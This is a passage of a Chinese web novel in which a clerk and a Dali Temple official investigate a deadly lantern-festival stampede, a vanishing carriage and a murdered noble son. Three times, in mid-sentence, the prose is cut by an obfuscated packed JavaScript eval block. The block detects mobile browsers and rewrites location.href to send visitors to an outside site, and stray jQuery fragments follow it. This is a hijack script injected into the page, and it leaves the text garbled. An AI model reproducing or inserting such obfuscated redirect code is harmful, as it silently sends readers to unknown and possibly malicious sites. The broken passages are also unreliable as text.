胡四被这一声怒喝吓得一激灵,赶忙松开阿茶的手,快步走到崔行跟前,“少……崔大人,这是甄大人聘任的编外文书,下官是准备带她去文书处报到的。”
“少……崔大人,有意思。”阿茶嗤笑一声,也跟着走过去对崔行行了一个康居礼,“民女见过崔大人。”
崔行头一次看见阿茶做中原女子的打扮,亭亭窈窈,分外婀娜,陡然一见,丝毫没觉着这是一位胡人女子,许是长相上随了她母亲的缘故。虽身材高挑,眉眼却如同江南水乡般温婉,若不是那双琥珀色的眼睛和高挑的鼻梁,几乎与中原女子一般无二了。
他轻咳一声,定了定心神,继续摆出一副严肃冷冽的神情来,“你初来乍到,我既与你相熟,大理寺的一些规程便由我来说与你听吧,你下去吧。”最后这句话是对胡四说的。
阿茶答了一句是,跟在崔行身后缓缓而行,瞟了一眼他身上那件群青对凤团纹缺胯袍,略微有点遗憾,这是一件颇为华丽的常服,然而不衬他。若说相衬,还是只有初次时,那身绯红官袍最适合他了,阿茶还从未见过那个男子能在如此艳丽的红的衬托下,依旧只能品出清冷,就如同天山上的雪莲。
也不知他成亲那日换上更加明亮鲜艳的正红,是不是也是那副模样,定要叫新娘失望了吧。或许也不见得,为着他那张出尘不染的脸,哪怕就算身处九尺寒冰也能多吃几碗饭吧……
“哎,哎,想什么呢,我刚说的这些你可都记下了?怎么刚上任就犯错,这些可都是与你有大用的,你可万万不能叫你阿爷失望啊……”
好好的思绪被打断,这人还在喋喋不休,阿茶气不打一处来,打断他道,“我在想你们今日这么忙是为何,昨日灯会死了很多人?”
崔行停下,沉默片刻,“你也听说了?京兆府和大理寺忙了整夜,想不到事态的发展还是如此迅速,事发到现在不过四个时辰,居然连西市都知晓了吗。”
阿茶又一次忍不住打断了他的沉思,这人什么都好,就是太过自大,“额,你应是想多了,有没有一种可能,我知晓是因为昨日我就在现场,我家中现如今还有三个病号躺着呢。”
“你都说了我如今也算你们的一份子,不然与我说说,说不定我能帮到你们呢。早点了却这桩事,我也能早点回去照顾一二。”
从崔行的叙述中阿茶得知,昨日灯会上的踩踏事故发生在子丑交接之时,共造成了七人死亡,十几人重伤,轻伤者不计其数,造成事故的原因暂时还未查明。
京兆府负责此次中秋灯会的安保护卫工作,团圆佳节又奉天子寿辰,发生此等大案,京兆府难免逃不了问责,是以在事态发展即将不受控的第一时间报给了大理寺。两府衙门可谓是倾巢而出,好歹在圣人发怒前扼制住了事态的发展。
“还真是有那等不怕死的叫嚣着什么天罚,圣人不公之类的蠢话。”崔行被气急嘲讽的说道。
“这还不抓几个杀鸡儆猴?明晃晃的功劳在向你招手呢。”阿茶双手虚空画了好大个圆,略带夸张的表情成功逗笑了崔行。
“抓自然抓了些,都是些平头百姓,算哪门子的功绩
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14655354|156577||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,这桩案子不尽快破了那才真是大难临头。如今两府已经派仵作去了义庄,京兆府又自顾不暇,寻人的事便只能我们自己来。他们一日未找出纰漏,便一日不得安生,你这功劳还是让给他们吧,大小算是个安慰。”
“你说昨日你在现场,难得见你们胡人也过中秋的,不过昨日出事的有好几处,你们去的何处?”
“容我想想,”阿茶细细回忆昨日的逛过的地方,他们从西市北门出去,先是去了朱雀门,哪里有一盏巨大的天灯,然后顺着朱雀大街一路向南行。他们是回程途中遇险的,那时他们刚走到,“崇贤坊,对,是崇贤坊和延康坊附近,我们昨日正准备离开时便被人潮冲散了。依稀听见过一声‘死人了’,不知踩踏是不是因此而起。”
“崇贤坊吗,”崔行脸色一变,神情在不知不觉竟然有些许紧张,“那处正是踩踏最严重的区域,死亡的七人全是在崇贤坊发现的……你,没事吧。”
“哦,我倒是什么事也没有,”怕他不信,阿茶还张开双手转了个圈,“全靠阿延奇警觉我们才得以全须全尾的脱身。说起来,还得感谢那辆马车……不对啊,若是没有马车,那条巷子哪怕再窄也不会发生这么严重的踩踏吧。”
“马车?什么马车?”
“两个轮子一匹马的马车啊,”阿茶被他突然凛冽的眼神吓到,“发生的太快了,我没有看见那辆马车的细节。你们没有在现场发现一辆马车吗?我走时记得那辆马车侧翻了啊。”
崔行深呼一口气,收敛了神色,“昨夜太晚了,两府衙门的人只顾救人,根本没注意到有什么马车,如今那条巷子怕也找不到马车的痕迹了。不过七具尸体中,有一具上有明显的拖拽痕迹,以至面容不清,怕是与你说的马车脱不了干系。你可否与我说说你昨日在踩踏发生前做了些什么。”
阿茶没有推辞,将昨夜出门后遇到的人和事,尤其是抵达崇贤坊附近后,事无巨细的全部说与崔行,“那马车出现的很是突兀,就像是突然出现的一般,照你的说法,那它岂不是,又突然的消失了。此事恐有内情。”
“只要是人为,便不可能没留下漏洞,等等,能否再回忆回忆阿延奇看见马车后是何表情。你说他盯着马车看了好半晌是吗?”
涉及到自家人,阿茶又是极其护短的人,当即变了神色,审视的眼神望向崔行,“阿延奇神情没什么不对的,只不过多看了几眼而已……”声音渐渐变低,阿茶想到了,阿延奇当时的神情……压根不是好奇和愤怒。
眼神下移,紧锁眉头,阿茶欲言又止,她的脑海出出现两个自己,一个说那是你仅存的亲人了,你难道要出卖他吗;另一个说阿爷说过,若是为了包庇亲人,理法便没有存在的意义,你忘了最初学法的缘由了吗。
她深吸一口气,说道,“当时他的神情有疑惑、有不解、夹杂着悲伤和一种……向死而生的释然。快,我们快回去,他定是知道点什么,去阻止他,一定要阻止他!”
一辆宽大的马车内,崔行望向虽是闭目养神却紧握双手的阿茶,心想‘让她进大理寺还真是招对了,这才上任第一日,就带来了有用的线索。’然而心中虽这样想,右手却在悄悄为阿茶打扇。
12. 第 12 章
马车在香料铺子停下,今日店内只有阿济一人,昨日她虽然目睹了惨案发生的经过,但好在是三人中受伤最轻的。晨间知晓了今日无人看店,强撑着身子起身开门迎客。
“阿济,不是说了今日就不开店了吗,瞧你这脸色,别站着了,快坐下。”阿茶远远的便瞧见了她脸色如同宣纸一般,心中又急又气。
“阿茶?你怎么回来了,今日不是要去上值吗?崔大人也来了,快请坐快请坐,我去倒壶茶来……”
阿茶接过阿济手中的茶壶,将她按在一旁的小塌上,“还是我去吧,崔大人来是有要事要问,阿济姐姐这回可跑不了了。阿延奇他们可在?你们先谈着,我去后面叫他们。”
“崔大人要问何事,尽管吩咐便是,民妇定是知无不言,言,言无不尽。”尽管阿济时常能见到崔行,不知为何依旧还是很怕他,此刻坐在他对面,更是紧张地连手都不知道该如何放。
崔行早已见怪不怪,只是平时也就罢了,今日……默默叹了口气,用自认为极其温柔的语气问道,“别紧张,我就是来问问昨日灯会发生的事情,听阿茶说你们那时就在崇贤坊,可否与我讲讲你看到的?”
“你是说你看见了那马车呼啸而过时,车尾挂着一个什么东西?你可看清了挂在车下的东西长几寸,宽几尺,大约是个什么模样?”
去厨房打了一壶热水,确认泡上的是新到的明前茶后,阿茶拐弯去了罗格的房间,“阿月,罗格如何了,怎么没有看见阿延奇?”
“阿茶?你怎么回来了?”阿月被推门声惊醒,起身下床接过阿茶手中的牛乳,“罗格今早醒了一次,没什么大问题了,就是还有点怕人,医士说小孩子忘性大,过几日就没事了。喂他吃了点东西,这不又睡下了。阿延奇?他不在房里吗?”
阿茶赶忙扶着阿月坐回罗汉床,嘟囔着嘴不高兴的说道,“应是不在,敲门也不见有动静,大清早的丢下一屋子病人也不说一声。不管他了,你脚好些了吗,崔九来了,说是要问问我们昨日灯会上的事情,你是不知,今早我到的时候,大理寺上下可忙了。原来昨日不止崇贤坊一处发生了踩踏,死了好些人呢,还好你们只受了点轻伤。”
“这么严重,阿弥陀佛阿弥陀佛,定是佛祖保佑,赶明儿我得去寻个寺庙拜拜……”
两人刚走到门前,阿济听见动静,也不管是不是还在接受崔行的问询,立马起身,三步并作两步从阿茶手中将阿月接走,嘴里还念叨着“怎么出来了,医士不是说了要静养吗”。
阿茶从她神情和话语中,窥见了一丝松口气的愉悦之情,不好意思的朝崔行笑了笑。“观崔大人的神情,应是从阿济口中问出了些什么吧。这位是家姐,名唤阿月,乃是家父收养的义女,前不久才来长安。罗格受了些伤了如今还昏睡着,阿延奇出门去了,许是要一会儿才能回来了。”
阿茶三两句解释了铺子几人的去向,意思也很明显,想让崔行先回去,改日在来。然而崔行只说无妨,却依旧稳稳端坐,半分不像是要走的模样。
留她们三人面面相觑,阿月阿济不知何故,阿茶则皱眉沉思,默不作声。
“掌柜的回来了!”一个时辰后,阿延奇终于在午食前赶回了香料铺子。
阿茶放下碗筷走出饭堂,游廊外阿延奇正在卸半湿的蓑衣,靠放在廊下的斗笠下也积攒了一滩水。阿茶默默打量着他这一身不寻常的穿着,心中暗暗想着今日她寅时末方才出门,观外间好像并未下过雨,地面也只有零星的水迹,想来应是后半夜下的雨,前后不过一刻钟。
“昨夜出了人命,大理寺并未查到崇贤坊有马车经过的痕迹,不过想来也快了。崔九已经等你一上午了,发现的尸体中有一具死状有异,应是从马车上推下去导致的。你昨夜盯着那马车的神情就不太对,不管是因为什么,先想想罗格。”
阿延奇解蓑衣的手一顿,转而继续解开靠立在廊下,“我知晓了,进去吧。”
未初,崔行问完后同阿茶一道回了大理寺,他将阿茶交给胡四,让他带她去熟悉熟悉大理寺的各个区域划分和不同岗位。
吩咐完他则回了东院厅堂,昨夜至今日上午找到的线索和口供已经放在了他桌案上。如他所料,并没有查出什么有用的线索,昨夜灯会上的人太多了,要找出真正的目击证人很难,不过幸好阿茶的话让他有了些新思路。
“刘武。”
“大人有何吩咐。”
“去寻一辆花梨木的马车,车尾有摩擦痕迹,应是麻绳一类较为坚固的绳子。今晨有雨,应不会这么快就被处理了。马车最后出现在崇贤坊,沿着那条路应该有所发现。”
“是。大人,这是京兆府仵作刚送来的验尸记录。”刘武呈上一本蓝底薄书后,正欲离开,身后传来了崔行的不耐的声音。
“五叔没去义庄?去告诉裴迹,让他好好管管手底下的人,这写的都是什么东西。”
刘武一噎,心想恐怕这长安城中还真没几个能在您手底下做事的仵作了,否则也不至让伊娄五致仕多年又重回大理寺。嘴上小心翼翼的解释道,“大人您忘了,昨日中秋,伊娄仵作去他女婿家过节了,得明日方才能回。”
“……还不快去?”
忍着不耐,崔行继续看向手中的薄书,粗略看了前六人的死因,直接翻到最后一页,这上面记录的正是那具有拖拽痕迹的尸体。
入目也只有短短几句话,写着:死者七,男,身长五尺九寸,年约二十七八,死亡时间约为八月十五酉时前后。死者脸部因拖拽导致面容不清,无法复原,上身有多处刀伤和摔伤,死因为被尖锐物体刺中心脏,失血过多而死。
推测凶器为长约五寸,一头粗,一头细的柱状物体,从伤口角度判断,凶器为斜向上刺入。
死者衣服上沾有大量劣质脂粉和酒水混合的味道,外袍材质乃是锦缎。
当看到锦缎后还跟着蜀锦二字,崔行不免觉得头疼。蜀锦织法极难,所用丝线的染色也是极其不易,是以历朝历代蜀锦都是贡品。也只有近几年四海平定,万国来朝后,使得蜀地
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14667330|156577||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
得以有更好的修养生息,蜀锦的存量才大了起来,但向来也只供的起皇室和世家大族。
崔行捏了捏额头,他一向最烦案子与世家扯上关系,除了麻烦还是麻烦,这次又不知要牵连的是那家倒霉蛋。
“胡四!”
一个衙役呆头呆脑的走进来,“崔少卿,胡四哥不是被您叫去给那个新来的小娘子带路了吗?”
“……”他怎么把这茬忘了,说到阿茶,他就又想到了那个叫阿延奇的胡人。
明明看着年岁不大,却一身贵气,同他答话时也不见半分神情紧张之色。听说他来长安好几年了,如今的生意也是越做越大,南道北道畅通无阻。若一直走正途还好,但凡有点别的心思……
虽然他也说昨夜不曾发现些什么,口供也与其余几人对得上。观他神色也不像是说谎,然而崔行全然不信,总觉得他身上还藏着大秘密。
“你去一趟平康坊,问问这几日有没有一身长五尺九寸,年约二十七八,身穿一身竹青蜀锦圆领袍的男子去过。”
大理寺占地面积挺大,走完一圈要用一个多时辰,从与身旁这人的交谈中阿茶得知他叫胡四,乃是从九品的狱丞,如今算是站队崔行,替他做事。
他简单的介绍了大理寺如今的人员配置,有卿一人,从三品;少卿两人,从四品上;寺正二人,从五品下;寺丞六人,从六品上;主簿二人,从七品上;狱丞,也就是他,二人,从九品下。
另有司直六人,从六品上;评事八人,从八品下;文书八人,从九品下。不过这些都是干杂事的,几年前致仕了好几人,一直未曾补齐。(1)
至于阿茶,虽担了一个文书的位置,却并没有品级,毕竟属于编外特招人员。
在胡四口中,崔行乃是个六品的寺丞。阿茶听后笑了笑,并没有拆穿他们的把戏,反正她来大理寺的目的也不单纯。
“你笑什么,”胡四可见不得有人小觑他的偶像,急赤白脸解释道,“可别小看了寺丞,虽然只是个六品,连上朝的资格都没有,但这个位置极为重要,乃是掌分判寺事,正刑之轻重。就连如今的右少卿当初也是从寺丞破格提拔上去的。”
“是是是,我知晓了,都是官,都比我大,都重要。你瞪我作甚,你的品级不也比我大,晨间还对我礼貌有加,这才半日,就鼻子不是眼睛了?你们男人啊,还真是善变的很啊。得了,也送到了,您忙去吧,我就自个回了。”
对着胡四敷衍两句,阿茶转身进了文书处,谁让他这一路嘀嘀咕咕不是在说崔少卿如何如何,便是说崔行如何如何。就算他们真是两个人,阿茶也听腻了。
申时刚过,文书处已经没了人了,寻了一圈,阿茶只遇到准备下值的上官,“康书吏?!你怎么还在此?本朝规定一应官员申时一到便可下值,你可以回去了。”
“可外面不是……”阿茶想起来了,文书处清闲,且本职工作也不管查案,今日之事自然与他们没多大关系,“下官来拿点东西,这就准备走了,王大人慢走。”
13. 第 13 章
下值回到铺子,阿茶先是去看了看阿月和罗格恢复的情况,随后径直上楼,停在了阿延奇的卧房前。
两人相熟多年,彼此之间早有默契,仅仅只需一个眼神,便知道对方想做什么。是以,当阿延奇看见站在门外的阿茶时,并未有任何情绪,“回来了,看到这大黎朝的官员很轻松吗。今日的奶茶加了冰,你少喝两杯,不然晚上又该不舒服了。”
从进门起,阿茶便一直盯着他看,眼前这个比她还小几月的男孩不知何时已经长成了大人的模样。就连情绪也比以前隐藏的更好了。不动声色接过金杯装的奶茶,喝了一大口,撇撇嘴不满的说:“甜了些。”
“是吗?许是多放了两颗糖吧,我不常煮,你知道的。”
阿茶放下杯子,装作不解的说,“从前你可从未弄错过我的口味,可别说是因为我口味变了。”随后猝不及防的开口道,“你见过那辆马车吧。”
阿延奇没想到她来这招,一改往日沉稳冷静的神情,吊儿郎当的说,“你说那辆,我每日见过的马车那可多了,”瞥见阿茶愠怒的目光,阿延奇话锋一转,“若是灯会上那辆,没错,见过啊。瞪着我作甚,你们那位崔大人也没问啊。”
阿延奇的外貌一直极具迷惑性,一双含情的双眼配上不需要任何华丽装饰也能看出的贵气,就像是一个富贵家族里最容易被骗的不谙世事傻小子。阿茶无端想起了他们的十三四岁,那时的他们都还有完整的家庭,整日无忧无虑,只知吃饭睡觉,就连阿娘也文绉绉的说着‘总角之宴,言笑晏晏’。
那时候,每当他想得到什么东西,亦或是做错了事,惯会摆出这副模样。
然而这次不一样了,他们无人可依,崔行也不是寻常人,他思维逻辑能力极强,极其善于从细枝末节中找寻真相。从胡四口中得知,他上任不过短短四年,大理寺积压多年的陈案、旧案、疑案、难案已经破了大半。
听到这里,阿茶居然还萌生了退意,崔行这人比她想象的还要聪明难缠,她嗤笑着嘲讽自己,简直是太过自大。
别还未实施自己的计划,还将阿延奇牵连进去,阿茶决不能接受这个局面。叹了口气,动之以情晓之以理道,“不管你是想护着谁,还是有其他的目的,这都不是儿戏,崔九这人的洞察力比之我阿爷,那是有过之而无不及,若是这桩案子跟你扯上关系,你让这一屋子的人怎么办。”
“阿茶,你不信我吗。”
“听我说完,”阿茶不满的怒瞪他,“我也是今日才知道,大黎律法有言,知情不报者同罪,轻者罚银五百,重者流徙五百里。”
阿延奇还想继续狡辩,“区区几百钱而已,我又不是……”
“这不是钱的事!”阿茶愤怒的站起来,打断他的话,“你我是异族人,虽不在大黎律法的管辖范围内,但若是有罪,一应发回原籍,你的原籍……好之为之吧,罗格还小,你当初是如何答应你姐姐的,还记得吗。”
一出门阿茶狠狠打了自己一巴掌,气过了头,居然什么话都说。阿茶愧疚的看了眼紧闭的房门,转身去了佛堂。
翌日清晨,阿茶扶着墙一瘸一拐从佛堂走出,回房换了身轻便的袍子,想着今日恐得骑马上值了。
走到后门马房处,远远的便看见阿延奇坐在一辆套好的马车上。
“上车,如今天亮得晚,你一人我不太放心。”
阿茶挑了挑眉,笑着上了马车同他一同坐在车辕上,两人都默契的闭口不谈他出现在此的目的,反而聊起了从前在大漠的美好时光。
大理寺东院正堂,两人坐下没多久,崔行才穿过一扇狭小的侧门走进来。倒也不是他故意晾着阿延奇,只因他刚走进衙门,胡四便贼眉鼠眼的跟过来说阿茶带了一个男子,现下正在他的东院等着。他是从小道翻窗进的盥洗室,目的是为了寻一多年前的旧物。
进屋后发现下首坐着的两人神情各异的盯着他看了好一会儿,轻咳一声开口道,“阿茶说你想起了些关于那马车的线索?”
崔行推开侧门迈步进正堂时,阿茶第一时间便发现了他今日穿着的那件半旧的深绿圆领袍,形制上与那件绯红官袍一致,只不过暗纹和蹀躞带有所区别,这是一件六品官袍。
阿延奇察觉了她眉眼间隐藏不住的轻蔑,疑惑的看了她一眼。阿茶侧身背对着崔行朝他摆了摆手,示意他先解决自己的问题。
继而又发现崔行在坐下后,手不知觉的在抚平官袍上的褶皱,阿茶眼底的嘲讽更深了,心想‘还真是做戏做全套啊,这怕不是从那位寺丞身上扒下来的吧。’
阿延奇不解阿茶为何突然不喜这位“好友”了,但他确实是一直不喜这位崔九崔大人的,总觉得他心思太过深沉,又是走一步算十步的主,或许是因为上一位这样性格的前辈并没有好下场的缘故啊。
盯了他好半晌,直到本就心虚的崔行快要按耐不住时才幽幽开口,“那马车是吏部侍郎府上的。”
阿延奇不开口则以,一开口,对崔行来说如同晴天霹雳一般,他像是不确定般,又问了一遍,
“吏部侍郎?是吏部侍郎郑攸安郑大人府上?你确定吗!”
崔行眉头紧皱,终究还是扯上了世家吗。
“应是没错,阿茶你昨日不是问我晨间为何不在店中吗,我去了一趟郑府,灯会上那辆,无论是所用到的木材还是布料,都与郑大人出行乘坐的那辆一模一样。”
崔九眉头拧得更重了,沉声问道,“可还有旁的?”
阿延奇沉默的看了眼阿茶,好半晌后,才道,“马车后的那具尸体……发现时身上穿着的袍子可是竹青色?”
崔行眼神顿时变得晦暗,凌厉的目光打在阿延奇身上,缓缓吐出一个“是”字。
只听阿延奇仿佛松了口气般继续说道,“死者的身份若是没错的话,应是郑府的二郎君——郑棋。我与郑府有生意往来,几日前我去郑府交货,进门时偶然撞见到过二公子,当时他穿的正是一身竹青色的锦袍。”
阿茶去送阿延奇了,正堂只剩崔行一人独自坐在高堂。只见他颓然的依靠在高椅的扶手上,右手捏着眉心,不知在想着什么。
吏部侍郎郑攸安,荥阳人士,荥阳郑氏又是与他崔氏一样,是本朝最大的几个世家。郑氏地位虽不如他崔氏,但世家之间多以姻亲维系,都是牵一发而动全身的存在。
郑侍郎虽是郑氏如今在朝中官位最高的了,但吏部尚书即将致仕,能接
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14681023|156577||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
替尚书之位的,必是郑攸安。但圣人还是太子时,郑攸安便是太子舍人,何况如今宫内还有位郑贵妃,那可是郑攸安的嫡亲姊妹。
又是一声长叹,崔行都不知道这是近几日他第几次叹息了。有时候他都在想,是不是上天觉得他日子过的太好了,偏偏叫他摊上这等最不愿参与的事。
“胡四!”
古人有云,既来之则安之,既然已经摊上,还是尽快解决了甩出去为上。
“你对吏部侍郎郑大人的二公子,郑棋,了解多少。”
“郑棋?那可是长安城鼎鼎有名的纨绔,谁人不知谁人不晓。”
胡四不愧是大理寺打探消息的一把好手,三两句便将郑棋的生平过往简单概括。
郑棋,出生荥阳郑氏,乃是吏部侍郎郑攸安第二子,长兄郑大朗七年前入仕,现为雍州下辖长安县县丞。因幼时其父外放,被祖母娇养长大,幼时招猫逗狗,十三四岁便已通人事,欺男霸女之事,更是数不胜数。
“听闻他后院侍妾通房有二十多人,就连崇贤坊都还住着他的一个外室,据说还是从前平康坊的花魁娘子。”
“崇贤坊?”
“是,是的……少卿,可是有何不对的地方?”
“接着讲。”
骤然听到熟悉的名字,崔行心中划过一道异样,崇贤坊,又是崇贤坊,会不会太过巧合了。
“不久前他第一任妻子过世,不过三月便娶了续弦,后一位也是太原王氏女。与他头任妻子还是姑侄,而且是亲姑侄。头那任可是出了名的贤良淑德,虽是庶女,因是双生子,与同胞兄弟的身份因此水涨船高。郑府放出的消息说是病死,但传言说她死因有异,郑府是觉得不光彩才随口编造了由头,这也是郑府续弦那位为何是嫡女的缘故。”
崔行听完没有什么异样,只问了句“可有报官”,世家大族内,死一个人,还是一女子,是何其稀松平常的事,嘲讽的勾了勾嘴角,他早就深有体会。
胡四看不懂崔行的表情是何意,也不深究,他与崔行的想法一致,老老实实把案子破了才是上。继续说道,“头那位的胞兄来长安吊唁时,许是见到了那位的死状,这之后便闹着要报官,不过最后也还是不了了之了。”
崔行又问了郑二郎的日常生活习惯,胡四答道,“郑棋一月几乎要宿在外好几日,不是去崇贤坊便是在平康坊,偶尔也在某些个不知名的小酒坊内。前几日还看见郑府的小厮又在满大街找他,想来这些时日他又不在府中。”
胡四说完后悄咪咪瞟了一眼崔行的神情,那是一种嫌恶,极度的嫌恶,胡四眼神都亮了,高门子弟总这些那些的怪癖,不是眼高手低看不起寒门庶子,便是仗着家世不学无术。这半年来他从未在崔行身上发现这些不堪的毛病,虽然他脾气也不好,为人狠了些,但那也为是为了案子,心中更加坚定了追随崔行的心。
阿茶站在衙门前看着阿延奇驾着马车缓缓走远,心中泛起阵阵悲凉。阿延奇说的与他做的全然是两码事,出门的时间对不上,西市去郑府最多不过半个时辰。
他还是没说实话,他去城外做了什么。
阿茶很想冲上去揪住他的领子好好问问他,究竟值得吗?
14. 第 14 章
郑府侧门,胡四与另外几名衙役,被管家不太恭敬的领进府内。
“不知几位官爷来我郑府是为何事。”眼前的管家挺着圆滚滚的肚子,颇有些无礼的问道。
宰相门前三品官,哪怕只是一个小小的管家,也不是胡四等人能开罪的,小七几个人年轻,还不懂官场上的踩高捧低,当即就要发作,被胡四一个眼神死死压制。
胡四反而一脸恭敬的对着管家行礼并说明来意,“郑管家客气了,我等前来只是例行询问几句,不知贵府近几日可有人失踪或是多日未归。您老想必也听说了前日中秋灯会发生的事,还剩几位……还未确定……”
胡四的话还未说完,便被郑管家怒不可遏的打断,“去去去,尔等速速离开,你一个小小的衙役,上官是谁,知道这是何地吗,敢如此咒我郑家,必得给我郑氏一个说法!”
胡四在管家咄咄逼人的语气下也生出了不小的怒气,却压着怒意再次恭敬的解释道,“还请郑管家消消气,听闻贵府的二郎君郑棋已有多日未归家了,能否请郑管家回忆回忆,二郎出门时穿的是什么料子、何种款式的袍子。”
管家狐疑的望了胡四一眼,“你打听这个作甚,中秋那日我家二郎就在家中,并未出去过。再说了,我家二郎身手好着呢,虽说……虽说是混不吝了些,但他一向只爱寻花问柳,灯会这种热闹,他可不爱凑。”
“府上二郎在家?管家说的可是真?下官听闻府上二郎有一外室,恰好就在崇贤坊,那踩踏最严重的地方也是崇贤坊。我们少卿查出这案子或许跟……”胡四并未挑明,只以眼神示意,“故而,还请管家如实想告。”
胖管家故作高傲的脸上出现了一丝裂痕,微不可查,但还是叫胡四捕捉到了。
“都与你说了,我家二郎前日在家并未出去过,你等爱信不信。至于崇贤坊那位,也不怕告诉你等,我家二郎早就厌弃了,已有多日不曾去过了,你大可去查查。还留着那位住在别院不过是我家二郎心善罢了。快走快走,问也问完了,别挡着太夫人的尊驾。”
胡四来时便知郑府这关不好闯,只是没想到这还什么都没问出来,他们一行人居然就这么就被赶出来了,当即冷笑一声,这口气换谁也是咽不下的。不过转念一想,或许不用几日,他就能看到这眼高于人的管家的下场,心情顿时好上不少。
是的,胡四就是这么无条件的信任崔行,哪怕如今连崔行都还未确定死者的身份,他已经完全认定那就是郑棋。
送走阿延奇后,阿茶在回文书处的路上被崔行拦住,“依你对他的了解,他说的可是实话?真的就这么多了?”
阿茶心跳陡然停了一拍,被他看出来了?
“崔大人觉得阿延奇还有事瞒着?他也不是没脑子犯不着在此处说谎,若不是到了衙门前他说要找你说点事,我还以为他真是来送我的。”阿茶作出一副吃味的表情,崔行看得赫然。
正了正神色,崔行继续说道,“非也,只不过为官多年,形形色色的人见多了,许是我老毛病犯了,一遇到案子,看谁都觉得不对劲。对了,你管阿延奇叫弟弟,他也是你阿爷的义子吗。”
阿茶摇摇头,“他姓石,原是塔什干人。与我自幼相熟,我阿娘看出了他有天赋,送他来了长安。你怀疑他我也能理解,他从前不是这个性子的,”阿茶叹了口气,这次她的悲伤不是装出来的,“只不过前两年家中生了变故,幸好他在长安这才躲过一劫,罗格也是因此才被送到他身边。自己都还是半大孩子,还得带孩子,性子可不就磨成如今这般了,还望你多担待。”
西市人尽皆知的事情,说出来也没什么。何况这也是阿延奇临出发前阿爷教他的,事都是真事,只不过发生的顺序不一样而已。阿爷管这叫什么蒙太奇式谎言,阿茶也不清楚蒙太奇是谁,听着倒像是个草原人的名字。
可康居和石居中间还隔了个曹居国,两人如何自的自幼相熟。转念一想,毕竟谁也不知道麒域在何处,说不定就在塔什干呢。
崔行说了句“抱歉”,没在这件事情上较真,但心底的疑虑还是不曾降低多少,转而提了另一件事,“你见解独到,依你所见,这案子接下来该往何处查起。”
阿茶想起送阿延奇出衙门时,他提了几句有关郑棋的私事,早在大漠时她便听阿娘说起过自两晋便存在的门阀制度。如今的大黎朝也好,前朝田氏王朝也好,都想断绝这种局面,但世家之间盘根错节,哪有这么容易。就连民间也有宁娶世家女,不嫁君王妻的说法。
阿茶低头沉思片刻,回道,“你也知道我来长安为时尚短,那些是世家我都还没弄懂。但中秋夜又逢天子寿辰,搅出这么大一桩事,目的不仅仅只是为了惩治一个郑棋吧。看起来,他似乎只是一个挑起事端的引子。”
“还有便是,事情发生得太快了,崇贤坊那地界已经没有什么灯可以看了,为何短时间内会来这么多人。我怀疑其他几处出事地只是为了掩人耳目。”一番推测下来,阿茶发现崔行神色有异,担心自己暴露过多,末了加了句“你觉得呢”。
阿茶的话提醒了崔行,不应揪着世家不放,还是因先回到事故本身为上,终究是他太过杯弓蛇影了。哪怕跟世家扯上关系又如何,他自破他的案就够了。
“你说的很对,我也是如此想的。”
听到崔行居然没点出她话里太过自我的一面,阿茶居然感觉有点受宠若惊,“我也就是这么一猜,毕竟怎么看,郑棋除了家世,也没其他仰仗。”
崔行没有察觉出阿茶的异样,只说她分析的很对,让她跟他走。
阿茶瞧着这方向越来越不对劲,不由的多问了句,成功换来她苦笑不得的答案,“从今日起,你被借调给我当助手,调令一早已经送往你的上官王大人处。”
有时候进度太快反而不是件好事,就如同现在,阿茶本想徐徐图之,未成想这才过了一日,她就已经能跟在崔行身边了。也不知前路是喜是悲。
又一次来到监牢二层的停尸房,此处常年置冰,形如冰窖,哪怕已经入秋,依旧如此。阿茶接过崔行递过来的外袍披在身上,连她自己都没发现她的嘴角微不可查的弯了弯。
正对门只摆了一具尸体,应是马车上那具,“还好,还好,跟上次见到的不一样……”
“你嘀咕什么呢,上次是胡四故意吓唬你,也就是那次仵作不在,否则……”否则什么,崔行没说清楚。胡四这个人,快到而立之年,心性却还如同孩童一般,许是因为家中有幼儿吧,自家下属的私事崔行也不好多言,也就没继续往下说。
“况且上次那具女尸是死后第三日才被发现,没有好好保存,盛夏时节潮湿燥热,自然会……”
“哎哟,痛啊。你打我作甚。”阿茶抱着头,转身不满的瞪崔行,就在刚刚,崔行手中那本验尸记录不知为何,出现在了阿茶头顶。
“你还说,”崔行颇有些无奈的回敬阿茶的不满,“又在想什么呢,这都第几次了。仔细听着,独自一人破案必须学会面对这些!”
“哦,谨遵大人教诲。”阿茶别扭的给崔行行了大礼,心中对崔行洞若观火的敏捷又有了实证。这才短短两日他居然就看出了阿茶内心深处的想法。
崔九别过脸,将手中的验尸记录丢给阿茶,“先看看再说。”
手中这份验尸记录是仵作伊娄五复验过后,重新记录过的。比之前京兆府那份,更详细,更浅显易懂。
